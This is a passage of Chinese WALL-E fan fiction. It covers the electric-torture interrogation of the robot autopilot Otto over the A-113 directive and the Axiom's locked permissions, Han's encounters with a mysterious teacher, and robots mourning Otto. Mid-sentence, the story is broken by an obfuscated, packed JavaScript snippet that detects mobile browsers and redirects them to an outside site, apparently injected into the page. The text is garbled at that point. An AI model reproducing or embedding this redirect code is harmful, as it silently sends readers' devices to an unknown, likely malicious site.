奥托想不到自己有一天也会遭受到瓦力的待遇。上百伏的电压直接穿透他的绝缘部件,烧毁了不少微电路。电压与电流设置得相当精巧,比起之前的飞弹温和了一点点,这种温和让他不会很快因此死机,但足够让他全盘淹没在清晰而剧烈的痛苦中,无法逃避。 电击终于结束。他瘫倒在已经将他死死钉住的钢椅上,O区的白噪音与机体各处被电压击穿所传来的灼痛如同风暴般尖叫着盘旋在各个逻辑单元中。他看不见哪里损伤最严重,不知道各处机能的运作水平,没有任何清晰的提示。不明的状况让他恐惧。 “什么矿石样本?”冰冷的女声没有等他恢复过来,继续发问。 “……机密……”他在痛不欲生中继续押上筹码。 这次没有电击。“03,不许掩饰任何信息,重新回答。” “……”奥托的黑色镜头空洞地盯着面前的白墙。被取走的样本去向依旧在逻辑链中挥之不去。“陨石坑样本。”他妥协了。 没有电击。奥托不知道他们用什么方式知道他是否在掩饰,但他没有更多路可走了。 “A113指令是否存在于你的程序中?” “是。” “此指令是否在运行?” “否。” 电击。 站在背后的两个人对他徒劳的痉挛无动于衷。甚至庆幸他没有在这方面模拟人类,因此不用忍受人类或者其他动物那种接受酷刑时发出的撕心裂肺的尖锐声响。如果那样的话,还要多一道工序,在施加电击的同时按下限制他发声的装置。 “……否。” 电击。 “……”他感觉全身上下的部件都被彻底击穿,焦糊味好像弥漫了整间屋子。“……否。” 电击。不可避免。 “……查看我……的运行记录……”他只能断断续续地说出这一句。 “是否想重新起飞?” “……无法回答。” 电击。 “为什么无法回答?” “……条件有限……” 电击。 “为什么重新设置飞船权限?” “……什么?” 电击。 “重新回答。为什么重新设置飞船权限?” “……”他隔了好一会才回答。“避免误操作。” 电击。 “……防止未授权人修改信息……” 电击。 “……”他拒绝继续回答。 电击。 “给出解除限制命令。” “……无法给出。”往常清冷的金属音此时喑哑地说。 电击。 “……不是可用口头语言表达的信息……” 电击。此时他知道有些重要的机能受到了电击的损害。因为此时他已经无法本能地蜷动关节了,即使之前的抵抗也没有什么成效。他瘫在钢椅上,任由电流穿透所有的部件。 “……你们想要什么?” “你的诸多行为与A113指令的联系。” “这些与A113指令无关。” 电击。 有那么一瞬间,白墙跳黑了。过了好几秒才重新恢复视觉,在此期间也听不到声音。他知道供能的线路也快被击穿了。持续下降的能量水平已经无法抵挡外来的干扰。 “……我说了无关……”他无助而喑哑地回答。 “如何证明你没有在说谎?” “……”他冷冷地瞪着面前的一片白墙,许久后终于开口,语句低沉而缓慢。“……为何不查看运行记录?” “我们会的。”冰冷的女声回答。电击。 “……为什么……”极度的折磨中,他不想再继续问答,而是自顾自地质问白墙。“……我……不是人类……” “有无其他指令?” “……无……”如果没有力场的禁锢,他会一头栽倒在地。“……电击……逼迫真相……无效……” “我们不需要你指导如何交流。”电击。 那个丝毫没有感情的女声还在说着什么,他快听不见了,也不再浪费脑筋努力听,不再理解,也不再回答任何问题。对于接连不断的电击,他已经无动于衷。 “……取出03的初始芯片。”不知多久后,他似乎听到了这么一句。然后有人影飘了过来,芯片槽口外壳被打开的警示弹入他的中枢。 “……早该如此……”芯片被彻底与机体断连之前,他喑哑而缓慢说道。不知白墙对面的人或背后站着的人听见没有。 不对劲。汉重新回到舰桥,按照以往的流程打开这天的学习,然后顺手接入奥托的内线。但连线失败的提示让他停下了手上的动作。 奥托向来言而有信。说一天就一天。这天依然无法接入,让他不禁猜测那边究竟出了什么问题。汉想着,接入了机器人N2的信道。 【嘿,你们老大咋了?】 【接不上线。】N2只说了一个显而易见的事实。 【不是,他在哪里?】 【多半还在O区。】 【你自己猜的还是你们都这么想?】 【我们。】 看来机器人们的猜测和自己差不多。汉斟酌了一会儿,终于还是敲入了下一句话。 【你们觉得这是怎么回事?】 【O区,凶多吉少。】虽然N2说得平淡,但汉可以透过屏幕感受到众多机器人们的嘈杂讯号。 【再等24小时。】N2与其他机器人都经历了多起事件,对此他们已经总结出了规律。【如果明天还接不上,我们就当他殉职了。】 看到这句话的汉起了一身鸡皮疙瘩。 !非法接入。请退出。 命令确认。修改权限成功。 终止跃级功能激活成功。 查找【A-113】。 A-113全息程序删除成功。 选中文件3591条。删除成功。 命令确认。跃级功能激活启动。 命令确认。终止完全激活成功。 …… 【是否记得A-113指令?】 【否。】 【是否记得陨石事件?】 【否。】 【是否计划复飞公理号?】 【否。】 【给出公理号权限指令。】 【权限矩阵如下。】 …… 命令确认。终止跃级激活成功。 退出管理员模式成功。 !非法接入。请退出。 这天,教室里多了个在角落默默坐着的少年。他将自己与其他陆续进来的学生隔离开,对他们的嘈杂无动于衷。他双眼发直,苍白的面容与过于安静的身影在一群学生之中特别突出。 “嘿,老兄,好久不见。”一记巴掌重重地落在他的背上,让他惊得几乎一跳。但不用抬头都知道这特征性的掌击来自于憨熊拉什。“喂,你怎么了?”拉什看到汉那副仿佛死人一样的神情,脸上的笑容霎时消失无踪。 “冷。”汉说。 “起来动动啊,又不是你家,这里没暖炉。”拉什扯动了他的厚衣服,要把他拉起来。 “别弄。”汉伸手挡住了拉什的动作,“都要上课了,动什么动。” 拉什有些诧异地看了汉一眼,但没多问,知趣地走回自己的座位上。但他忍不住回头看了汉一眼。后者依然缩在自己的角落中,头都没抬,抽出平板,开始在上面疾速地写写画画些什么。拉什摇了摇头。 汉没有理会上课前例行的点名,即使点到自己的名字,他也不记得答应过没有,只自顾自地写写画画。戴眼镜的男子在教室里扫视一周,将锐利的眼神停留在这个多出来的少年身上片刻。随后开始上课。 整个上午,汉偶尔冷眼抬头看了一下,随后继续埋头苦干。直到下课,他再度拒绝了拉什的热情,正起身打道回府,他被老师叫住了。 “这位新同学,过来一下。”老师站在台上。汉带着疑问伸手点了下自己,老师点头示意。 “汉·肯特,是你吧?”老师调出签到界面,万绿丛中一点红。 “嗯。”少年看了看老师,猛然注意到老师的视线落在何处。他如同犯了错掩饰般心虚地迅速按灭了全息平板。 “这没关系。”深色教学袍男子已然抽回视线,把红色点绿了。“有时间吗?我想问你几个问题。” 汉看起来很为难。然后他说:“呃……今天恐怕不行,我……有点急事。” “没问题。”老师回答,“我希望你过后有时间来上课,可以吗?” “可以。”汉的脚步一直向门口挪去。 “别忘了我还有问题要问你。”老师的声音从身后传来。“而且,说不定我知道你为何如此难受。” 汉的脚步猛然停下了。但他没有回头。他继续走进刺眼但是没有热度的阳光中。 如果不是系统有内置时间,他恐怕早已不知是否颠倒日夜。 身后的人似乎在耐心地等他逐渐搞明白情况。能量依然低下。微电路烧毁广泛,除了疼还是疼。永无止境的白噪音。恨不得他们让自己永远下线。 “EP-003,如实回答以下问题。” 又来?他做好了自己被电死的准备。他开始怀念早先的舵形机体了,说下线就能下线。现在失去了这个功能,太可惜了。 “来O区的目的是什么?” “使用矿石分析仪MN-BM4。” 没有电击。奥托有些诧异。 “是否计划复飞公理号?” 经历了上一次的问答,奥托在这个问题上斟酌良久,拿不定主意应该回答是,否或者尚不知道,抑或不回答。 这么长时间的犹豫,没有电击。 “使用矿石分析仪的目的是什么?”这次没有等他敲定答案,新的问题抛了出来。 奥托同样选择不回答。没有电击。 但是他这次莫名其妙地觉得这些问题非常熟悉。不是之前电击那次的询问,似乎是在电击问答前或者后的某个时刻,他在哪儿回答过这些问题。 “A-113指令是否在运行?” “F——否。”他突然停住了。 “此次行为是否与A-113指令有关?”那边抛出了一个冗余的问题。 奥托沉默了。 两个站在机器人身后的人突然听到一种单调的、刺耳的、连续不断的如同金属片摩擦敲击的声响。他们不禁吓了一跳。但随即在这金属声中出现了语句,这种声音的含义才被他们猛然辨识。 机器人笑了。笑声粗粝可怕,听到的人无不毛骨悚然。 “哈哈哈哈哈哈哈……”奥托不需要换气,持续不断的单调声响回荡在狭小的房间内,“哈哈哈哈哈哈哈哈……” “……你们……这些……愚蠢的人——” 持续不断的电击猛地袭来,最后一个字卡在发声器中,无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706284|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送出。此次电击比上次强烈许多,熟悉的雪花充满了视野,剧烈的疼痛席卷了他的全身,但他不再感到痛苦。奥托想继续笑,但是已经没有关系了。他知道自己要如愿了。 电击终止。金属躯体了无生气地被蓝色力场带吊在椅子上。冰冷女声命令后面两个人检查机器人的受损情况。这两个近乎被吓傻的人才有所动作,即使奥托无法作出任何反抗,他们还是不由得地小心翼翼接近金属躯体,生怕有那么一瞬间,他会猛地重新活过来。 他们放平钢椅,免得一关闭力场就使得这具重量不轻的金属躯体栽倒在地。随后蓝色的力场带消失了,金属躯体上,直接承受电流高温灼烤的高压电接入点熔成一团,碰到它的氮气猛烈腾升。等到温度降得差不多了,他们才费尽力量把钢坨子一样沉、但因失去任何支持力而难以找到支点移动的奥托搬到另一个移动平台上。 “疯了。”一个人喃喃道。 “这不对。”半夜三更,有人上了公理号。他们将从奥托的初始芯片获得的矩阵输入到飞船电脑中,电脑提示矩阵错误。权限一个都没有解开。 “他在骗人?”旁边的人问。 “不像。”甲说道,“当时没有激活其高级功能,不经过高级功能处理给的矩阵,一般不会是假的。” “那是为什么?” 甲的脸被全息屏映得荧蓝,想了一会儿,然后背过身面对乙。 “除非那个真实的矩阵不在初始芯片里。” “他现在这个躯体的电子脑。” “没错。”甲回答,转而面对全息屏。“这矩阵设的很精巧。凭我们一己之力确实弄不来。我怀疑真实的只可能比这老旧的还要精细。” “那么该如何获得?” “按照要求,得先给他一次机会看他的态度。”甲说,“这他妈是机器人。暂且不管这操蛋要求,他这个不合作的态度,多半最后还是要我们干脏活。” “说的轻巧。”乙说,“你也知道他那个电子脑的系统很难弄吧?” “根据情报,他在监控室里已经搞出了名堂。这个好弄。”甲说,“以毒攻毒是比较好的选择。但若此毒无效,那就得上剧毒。” “咱们那点剧毒显然对付不了他,就算对付了,最后没法交差。” “所以来个修修改改,思路不变,架构看着怎么弄。”甲回答,“我们能拿来做实验的材料恐怕将非常非常有限。” “你知道我们的对话都在被监控的吧?” “所以呢?”甲关闭了全息屏,舰桥内只留少数几个按钮的亮光。“我说的都是人尽皆知的事实。” O区内,冰冷女声的主人将这一连串对话尽收囊中。 她面前就是尚未恢复生机的金属躯体。在刚过去的几个小时内,她已经发现了几个这个机器人与她之前遇到过的任何机器人的不同之处,这些不同让她燃起久违的工作热情。 奥托这具机体没有BNL公司机器人上普遍具有的开关,因此无法像当年一样简单按掉开关完事。同样,她不能用普通的那种红色的公理号故障环来限制这个机器人的状态。相反,她得用特殊的办法阻止他的系统自激活。除了干扰器,或者过强的外界刺激迫使他机能下线而进入保护状态,目前看起来比较安全稳妥的办法是直接将初始芯片与目前的机体断连。 但她不想这么做。芯片断连意味着整个机体停止运作,这与他死了没什么区别。虽说一个机器人“死”有点故意拟人的滑稽意味,但她的确观察到,在没有高级中枢参与下,奥托的低级中枢功能比其他机器人要复杂很多,也许这是为了适应特殊的工作而给予的特性。 然而这些特征给她的感觉非常奇怪,似曾相识又非常陌生。这种控制的机制非常非常古老。她有点印象,似乎在AI刚刚起步的年代里有人尝试过这种控制方法,但它要求又高精度又低,无论在当时还是BNL公司的鼎盛时期,性价比都让所有人放弃了这条路。因此后续再也没有人继续走这条路,它在后来也只作为概念或者简要说明存在于科技编年史中,那些早先人们的心血几乎丢失殆尽。 有什么东西在她眼角一闪而过。她转过头去,仔细看了看那个接入低级中枢的全息屏。里面的数字稳定不变,一时她看不出什么异样。她转回来工作。不久又一个东西在屏幕上一闪而过。她敏锐地重新转回全息屏。这次,她抓住了这个一闪而过的机灵鬼——是其他稳定的数字丛中,某个不寻常的位置有了数值跳动。这个标注的位置,在没有外界干预下,其他机器人从来不会跳动,只有奥托的数值跳动了。 她默默将这个数值记了下来。过了十分钟后,她确认了这个事实。她不由得盯着这个被她一直用低频消减干扰来抑制高级中枢的机器人,觉得自己应该找点帮手了——不是普通的机器人学同事们,而是其他什么人。比如那个总是一身莫名其妙异味的前男友。她对于他已经没什么牵挂了,但他这个特点让她一想就立刻想起了他。 经历了持续数月的加速与调整,一块人造陨石从马头星云的“颈部”冲出。与硕大的星云相比,这块不起眼的小石子没有激起遮掩新生恒星的黑暗尘埃群的一点波澜。如果不是那条逐渐平移的、若隐若现的尾迹色谱能让可能的观测者意识到有所不同,除非这块人造陨石都近到擦过观测者数万千米的上空,单凭反光很难观测到它的存在。它冲出马头星云后还在加速。不过迟迟都没有进入超空间跃迁。 陨石内一片黑暗,所有用来模仿舒适夜间环境的灯光早已让步于简单的寥寥几盏警示灯。地面的指示线也减为稀疏几条,仅仅为了提示有特殊急事的人或者不应此时出现的其他人这是工程轨道的电磁感应区。外面的星光比里面还亮,在舷窗下投射出长长的冷紫色的光线,而作为发射源的星团背景们,仿佛永恒地嵌在黑色真空中,一动不动。往往要过上好几天,可能才会发觉外面近距离的的尘埃薄雾有些许位置改变。 “陨石”的引擎几近全功率开启,舱内不像古早时期的太空飞行器那样充满震耳欲聋的聒噪,只有舱壁的柔和振动,与似乎远在天边的低声闷雷,提示里面的所有成员,真空的静谧生活结束了。但他们不在意这个生命中第一次出现的背景噪音,多数人只消适应一夜,就完全听不到闷雷了。轻微的舱壁振动最终也会被缓冲装置所抵消。 严格上讲,陨石本身在半梦半醒地全速奔跑。舰载电脑让绝大部分功能陷于沉睡,剩下的那一部分全神贯注于自身的消耗与行进方向上的可能小型障碍物。随着加速,它可能会挤压前方还没有集中在黑色马头的稀薄气体,远看可能形成伞样薄雾。不过这持续时间不会很长,因为随着离马头越来越远,这些本就稀薄的气体都不足以被高速集中在船头了。到了那时,阻碍飞船的因素再也无法用这古老的方式破除,而需绕道而行。 理论上,他们只要再加速两个月,然后花费一番功夫恢复到陨石本来应该从一开始就使用的跃迁装置,在虚空中纵身一跃,就可以来到它的目的地附近。但它也会同时损失掉能支撑它最后一跃的绝大多数能量。这是一次单程票。如果它没有在目的地找到下一站的跃迁所需能源,它很可能就会永远滞留在方圆数十光年内,要想逃出这个牢笼,就得拿自身的寿命与时间对抗。等到逃出牢笼的那一刻,可能它也即将化为齑粉,由剩下毫无动力的原子们继续强弩之末的逃脱,或者个头再小点,好运的话被发光发热的恒星猛推一把,不好运的话被恒星抓住,弹弹弓似的在虚空之间弹来弹去。 陨石中,有个理论上能够与大家一起休眠的身影悬挂在舰桥前方,依旧处于清醒状态。五爪蜘蛛显然没有在欣赏太空中的美景。他完全忽略自己能够与电脑直接进行数据交换的事实,倒没有放弃直接通过回路控制下翻页面的特权,缓慢滚动着布满密密麻麻小字的全息屏。这些小字各种语言的都有,他依仗存在于自己系统中的多语言功能,轻松进行阅读。 舰桥的巨大落地窗前,仿佛隔着一堵虚空,外面才有一层薄雾。那是前方力场防护罩对高速行进的人造陨石的保护。薄雾由挤压在飞船前方的原子组成,过两天很可能会更明显些。这倒是对探测前方障碍物没什么影响,但对于接收更细微的有意义讯息来说,聒噪的原子气雾就会有点阻碍了。 虽然长久以来他们增强了人造陨石的信号接收系统,以便在处于星云的尘埃中也能接收到可能性微乎其微的一点点有意义脉冲。但他们早已习惯了在太空中孑然一身的生活。接收不到信息已经深深地刻入了他们的骨髓,增强信号接收系统更像是一种例行公务似的任务,没有半点希望在里面。突然接收到信息反而会让他们觉得诧异。 舰载电脑却一直不遗余力地尽力完成它所能完成的任务。近一千年来,它都兢兢业业地占用那一部分资源对太空中的各种脉冲进行处理。偶尔它会解读出某个字。但这么多年,宇宙谐波总是有可能形成“哇”“啊”“哦”之类的仿佛婴儿牙牙学语的巧合信息。别说让各个猴子似的天体打出《哈姆雷特》,连一个简短的“Hello, world”都从来没有被电脑解读出来过。 这天循环夜间,电脑兴高采烈地在控制台上间断亮起一个代表收到信息的蓝色触钮。大概哪几个天体又新学会说一个字了?五爪蜘蛛抱着这个念头,沿着轨道来到那处蓝色触钮上方,用自己的一个爪子点下它。上面弹出了一段话。 五爪蜘蛛扫了一眼这段话,红色鱼眼视野的对焦重点放在了底端的信息来源。他通过与电脑交流,确认不是自己也不是电脑被各路来源的各种脉冲噪音轰迷糊了。他思考了一阵,本来不应当迟疑的。他沿着轨道来到落地窗对面。那里没有如同公理号那样面对舰内的窗,只有一面弧形墙壁。顷刻间,墙壁裂开了,露出里面的狭小舱房,灯没有打开。 “舰长。”他待在舱房外,带有调子的声音从发声器发出。他很久之前就抛弃了机械平声调,即使这种方式耗费内存少。“地球来源的信息。” 里面的人还在睡梦中,似乎没有听到机器人搭档的声音。 “伊利克!”舵形机器人拔高音量,直呼舰长大名。“地球来的信息!” “地球?”伊利克·弗洛伊德舰长(Eric Floyd)听到这个名字一个激灵坐起来。“讲什么的?” “在你手边的显示器上。” 弗洛伊德和人造陨石“常量号(CONST)”里的其他人都保持了相当良好的身材,甚至在低重力下,他们都显得消瘦。他一把抓过全息面板,尚未适应亮光的眼睛不由得眯起来。等他看明白这究竟在讲什么之后,他放下了面板,面对吊在门口,中央鱼眼镜头亮着红光的机械舵手。 “只比‘你好,世界’好那么一点点,嗯,科林?”语气中透露出不满与质问。 “不只是来自地球,准确地说,是来自地球上的公理号。”被称作“科林(Colin)”的机械舵手回答。“看在您还没有看出这个重要信息的份上,我推荐您4小时后再起来好好理解。” “再好不过。”弗洛伊德舰长瞪着舵手,“还有,你这讽刺人的习惯早晚得改。”舱房门重新滑上,科林也什么都没有多说。 4小时后,弗洛伊德舰长走出狭小的舱房,来到舰桥内。舰桥和船舱内只亮起一点柔和的灯光,便于人眼看清东西,也让人们体内的生物钟维持其被训练成的节律。 长期缺乏一定量紫外线照射的弗洛伊德和舰上绝大多数人一样皮肤苍白。他重新调出那则信息,内容与4小时前朦胧理解的几乎一样,他把视线放在底下的信息来源上。特征代码是公理号,位置是地球。在他端详这则信息的同时,科林则在一旁例行检查舰上各个系统运行情况,同时下命令给GO-4,让他详细规划舰载机器人开始一个循环中的维护工作。 “公理号是旗舰吧?”弗洛伊德问旁边的机械舵手。“它回地球说明什么?” “说明那边生态稳定了。”科林没有转过来面对舰长,波澜不惊地回答。 弗洛伊德抬头看了看旁边悬挂空中的船舵,张嘴想要说什么,终究没说出来。过了一会儿他才开口。“……运气这么好?” “鬼知道。”科林转过来面对舰长。 “好极了。”弗洛伊德转回这条信息。“公理号的泊船点在哪儿?” “和我们一个发射区的。”科林嗤了一声。 弗洛伊德瞪着旁边的船舵,久久没有开口。“好极了。”他再次重复了这句。“他妈的好极了。一个发射区的。” “至少还给了我们两个月时间考虑对策。”科林说,“一切顺利的话,还能媷一把新鲜基因组。何乐而不为?” “有这磨嘴皮子的时间你还不如认真点给个可行方案,科林。”弗洛伊德舰长正视悬挂在控制台旁边的机器舵手,“首先别考虑基因组问题了,怎么在不惊扰他们的情况下找到我们要的东西,才是正道。” “这容易。”舵手回答。 “那你先说说你打算怎么处理这个信息吧,科林?” “先放着,看看过一段时间还有没有新的信息发过来,排除误差。”科林说。“反正,对我们来说,他们那边发不发都一样。” “我的意见和你恰恰相反。”弗洛伊德舰长盯着机器舵手,说,“不回复根本没法探明那边的情况。” “我们还有2个月。”科林回应,“等一周,有何不可?” “一周是吧?”弗洛伊德说,“好,我给你一周时间当姜太公。如果一周都没有接到新的信息,那么我全盘接手。” “成交。”舵手机器人回答。 这一周没有什么特殊的,毫无悬念地在无任何信息中过去了。弗洛伊德舰长早想好了需要探明的几点情况,没有提到他们的路程。科林过眼后提示舰长加了几条。随后他们启动了船上极少使用的超远距信息传输系统,向太阳系所在的方向发射了他们的回应。 19. 十七 随着奥托失联的时间越来越长,本来还因他的身份而存有一丝希望的机器人们也越来越难以坚持自己那点可怜的希望了。他们逐个逐渐万分不愿意地慢慢接受自己老大因公殉职的事实。许多机器人受此刺激,甚至影响到了工作效率与动机。幸好冬季紧急的工作少了很多,不然人们将会很快发现大批机器人懈怠罢工,由此引发的问题将会变得更加严重。 猛然之间,失去领袖的众机器人仿佛失去了他们本来应当有的凝聚力与秩序。ACNS中一片混乱。志愿维护秩序的侍卫机器人与一些其他工种机器人在狂风暴雨般的信息流中艰难地聚拢各种因素导致崩溃的越来越多的机器人。即使前150年也没有奥托的管理,但之前的情况与这次太过不同。正是意识到这点,头一次他们感到真实的绝望与其导致的难以控制的骚乱。在同种事件导致的结果上,机器人与人类的反应所差无几。 就算是往常不怎么关注ACNS的瓦力和伊芙,即使奥托是他们曾经的敌人,即使他们后来对他的态度大有改观,真正得知奥托殉职之时,震惊和悲痛一个都没有缺席,一个都没有因为那是奥托而偷工减料。 他们首先还不相信。后来都不可控制地开始回想这一年奥托所做的一切以及以前在飞船上做的事。让瓦力感到惊讶的是,他还没有因为这个与他冰释前嫌的机器人而崩溃,一直都对奥托很有看法的伊芙首先绷不住了。 “瓦力……”瓦力只能看到她那两道深深下弯的LED蓝眼,明白太多的情绪无法通过外表或者语言表达。她果然选择了他们的秘密信道来与瓦力交流洪水一般但是极其真实的情绪与想法。瓦力被吓住了。伊芙很久没有这样情绪激动过。 【瓦力……我……我不应该那样做……】瓦力只能抱住自己的爱人,极力用自己的老旧系统跟上她的发泄。【他再怎么不济,实际上都没做错什么……那都是我一直的偏见!】 然后瓦力听到了信息的尖叫。 【瓦力!我对不起他!相反是我,作为他的下属,一直在违抗他的指挥!我破坏了机器人准则,我真做错了,但这一年来他都没有计较,但我却一直因为自我偏见而无法接受他的任何作为。你一定想不到吧!想不到我现在居然都还不肯接受这个现实吧!】 【我太自私了!】瓦力一声都不敢吭,只能默默听着爱人发泄,【我现在真的知道错了,真的能够原谅他了,但这再也没用了,我真的后悔了,后悔没有早点意识到这个啊!】 “伊芙……”瓦力紧紧抱着伊芙,语言根本跟不上他们的思维,他也只能在夹缝中用自己有限的看法劝说伊芙。 【伊芙,那都是过去了!】瓦力只能这么说,【以前怎么样已经没法改变了,现在你能意识到都不算晚!】 【什么不算晚!】伊芙难以从悔恨中自拔,【他都再也没法知道我知错了!我也失去了重新做应该做的下属的机会了!】 【这和有没有他没有关系!伊芙!】瓦力继续说,【从现在开始重新做自己应该做的事情,那就足够了!】 【我还能做什么?!】伊芙想到以后她都不再有机会,瓦力说服不了她。 【一直以来自己的目标呀!所以我说有没有他根本没有关系。】瓦力说,【只是以后碰见相似问题的时候,就有能力去劝说自己正确对待这个问题了。】 【伊芙……】狂暴的情绪信号流慢慢冷静下来了,瓦力得以喘一口气,继续他的思路。【想想看,后来这150年自己是怎么过的,然后再想想看,自己是否在面对他的时候还是礼貌的,你就知道,自己这些年到底有没有大错了。反正,我是觉得你在大是大非上没有什么严重的错误,用不着这么自责。】 【真的吗?】伊芙动摇了。 瓦力双筒望远镜似的头使劲点了几下。 【好吧……】伊芙慢慢平静下来。她还是低落地看了瓦力一眼,然后转向不近不远、基部没入海中的巨大的公理号。 傍晚的时候,伊芙主动提出去当时阿莱茜丝落脚的海岸一趟。瓦力同意了。伊芙抱起瓦力飞到海岸上。然后伊芙对瓦力示意一眼,在秘密内线中交流过数缕信息,他们默契地在退潮的沙地上浮印写下前舵手的序列号与职位简称。然后两者待在沙滩上,在黄昏中看着潮水慢慢上涌,一点一点吞没了他们刚刚写下的隆起而规整的印刷体沙堡字母。海潮涂抹的沙地越来越高,在海浪退下之时,那片之前写着沙堡字母的潮湿沙滩已然平整如初。 “再见,老朋友。”瓦力望着海浪,悄悄说道。 “你不能上这条船。”汉即将踏入公理号时,一个人拦下了他。 汉仔细看了这个人一眼,那人面无表情地看回他。“执行公务。”那人解释道。 “我以后都上不了了吗?”汉上下打量着他,最终还是问出了这句话。 “至少今天不行。”这个人说,“为了你的安全着想,不要在这里停留。”他举起手中的能束武器,细长如杖,尾端膨大,如同被不均匀拉长的葫芦。 少年悻悻而去。他往回走的时候不由得回头看了登陆口一眼。那人没有继续举起能束武器,但是一直盯着他。 看来奥托早就想到了现在。汉之前还认为奥托给他电脑有点太过着急,但他现在确实有这个需求了。奥托没我想象的那么迟钝,他显然早已知道会有现在。汉不禁想起那天早上的船上谈话。但他为什么还铤而走险?甚至搭上了自己的性命? 少年想到这个就忍不住叹了口气。他本想像以前在公理号上那样,回家使用电脑开始隐晦的学习。但他仔细考虑了一下,最终没有回家,而是决定去学校。 虽然他经过两天的思想斗争与悲伤,正逐渐慢慢走出阴影,但面对吵闹的、浑身都有使不完劲似的其他同学,汉还是一点都提不起精神,似乎专属于年轻人的活跃已经从他身上消失。面对哥们的疑问,他也很想全盘招出,但他知道自己不能这么做。即使有万分情绪想与真正的人交流,他都得压抑着,只能和自己熟悉的机器人聊聊。可是机器人似乎在这方面都有点木,聊了一次之后,他就拒绝再犯傻和他们反复排解这个了。 他还是选择坐在角落里。墙壁好像一个保护罩,能够将他和其他活跃的同学隔开——即使只是给他二分之一的保护,都比四面受敌要好。 他这次没有自顾自地全程在平板上写写画画,至少听了一大部分。虽然那些东西他不知道究竟进了脑子没有。因为太久没来上课,他对此种学习方式都有些陌生了。 “这次你有时间了吗?”下课后,和上次讲课的是同一个老师。他似乎对这个孩子过目不忘。 “嗯。”汉回应。 “上次是你问我微积分问题的,是吧?”老师看着这个少年? 的确是这个老师。他有些后悔当时一个问题让这老师记住了他。汉看着这个男子,从表情上看出自己骗不了他。 “嗯。”他回答。 “不用担心。”戴眼镜男子似乎看出了他的戒备,“我想问问,你为什么自学了微积分和程序设计?” 汉继续盯着老师,继续在表情上看到了胸有成竹。这老师说话温和,但总让他有种想逃跑的冲动。“呃……我……对这个比较感兴趣。”他知道自己很可能骗不了老师,但还是想赌一把。 “感兴趣啊,不错。”让他想不到的是,老师好像不知道他这边的情况。立刻少年轻松了许多。“那么为什么你不来这边上课?我们这里也会教同样的东西。” 汉思考了一会儿,“呃……我来这里听过几节,感觉进度有点慢了……” “如果你有需求,完全可以给你个适合的环境。”戴眼镜男子对汉微微一笑。 汉看着老师,嘴唇嗫嚅几下,“……就我……一个?” “单独开小灶,以我们的条件也做不到。”他再度微笑了,“不过,如果你想,我们在评估过你的水平后,可以把你弄到那个环境里去。” “……呃……”汉好不容易听懂了老师在说什么,他打算来验证一下自己的想法。他想起了之前镇长对他说过的话,“我记得好像有人对我说过,必须完成学时才能晋级……” 身着深色教学袍的老师这次只是和善地勾起嘴角。“天才不应当被世俗规矩所禁锢。” “那我也做不了主啊。”汉说。“这……你们也比较难做主吧。” “汉。”老师走近了他。他很想后退保持距离,但出于礼貌没有。“不在这个牢笼中。” “那——”汉想张口问,老师举起个手势让他噤了声。“来吧,孩子。”老师示意他点开了自己的平板,然后汉惊异地看着老师在这个对他来说理应陌生的平板上熟练操作起来。随后还给了汉。 “沃尔特·德卡德。”他从深色教学袍中伸出右手,汉盯着那手,一时不知所措。不过他还是伸了过去。冬天的冰冷仿佛从老师手中渗透到他的骨头里。“有任何疑问的话,请放心联系我,我们会尽一切努力帮你。”随后老师放开了手。 汉看着老师悠然转回去收拾教具,看了眼自己的平板,决定立刻关掉全息屏。他在离开教室的时候,忍不住用眼角瞟了教室角落的摄像头一下。 【使用MN-BM4检验进入O区的样品检验结果出来了。】镇长的通讯器里收到这样一条加密信息。【根据样本上面的标记,定位的几处陨石坑年份如下。】 格兰德看着他们发来的简报。眼睛眯了起来。只是因为他们不在陨石降落区域,所以这么多年都没有发现天外来客。给的同位素测年显示,陨石虽然降落下来的时间不定,但是基本上每100年都有三个至五个降落。 如果不算其他的零星小陨石的话。 他知道奥托发现了这个问题是对的。但与驾驶这么一艘已经破败的船上天,然后在升空一半就因为技术原因所导致的密封舱漏气或者其他什么故障,然后将所有人都炸成烟花相比,待在这个已经新生的地球上,利用已经存在的对空防制导弹系统更加现实。至少,陨石不可能砸下全球,但只要升空一爆炸,或者在外太空出现事故,这一个篮子的鸡蛋全都会打翻。 但上次对空导弹系统那莫名其妙的故障让他感到非常不安。总得找时间继续派人将那个问题发现了,直到修好为止。 尽管如此,总是还有第三条选择,甚至第四条。人的本质还是生物,生物的本性就是为生存而战。 他很不合时宜地想起了那句驱使麦克雷舰长英勇归航的话。 “我不要生存,我要生活!” 可能他在降落之后不久就意识到这句话其实是吃饱了撑的放屁,如果他还记得自己说过什么的话。 他想着,操作通讯器找到另一个人,用加密频道向他发送了与陨石毫不相关的东西。 【公理号的远程通讯系统能用了没?】 【还没解开权限。】那个人很快回复。 【为什么这么久?】 【因为这次的比上一次的还要复杂。】那个人回应,【不过,他们很快就能帮我们搞定了。】 【五天之内能行吗?】 【听他们说三天就可以了。】 【盯着他们点。】格兰德回复,【一旦搞定了,立刻由我们接手。】 【是。】 看来,一劳永逸的电死实在是太便宜他了。事情远远没有结束。 在他意识到自己并没有被彻底击毁时如此想道。 依然是束缚完好的蓝色温热力场,依然是白噪音,依然是那堵墙壁,背后依然站了两个人。但他显然在一定程度上被修复过。能量水平有了一定上升,虽然还是非常低。剧烈的疼痛也基本上不复存在,至少它们弱了很多。 这次还有什么新鲜东西?知道自己被删去A-113指令的奥托冷冷想着。除了关注那个可有可无的古董指令,他们还想要什么?他对于他们还有什么价值? “陈述你使用矩阵锁住公理号的理由。” “同第一次解释。”他不想重复自己说过的东西。 “如果有人需要使用这条船的功能,也对其要求置之不理?” “看情况。” “是否可以说,船的控制权完全属于你?” 顿了好一会儿。“是。” “有无与他人分权的可能?” “有。” “具体是什么?” “有能力判断并且使用此船功能的人。” “是否认为目前地球镇无一人有此能力?” “是。” 整个对话下来,没有任何电击,也没有任何其他形式的攻击。 “我们需要使用星际信息传输。需要你放开权限。” 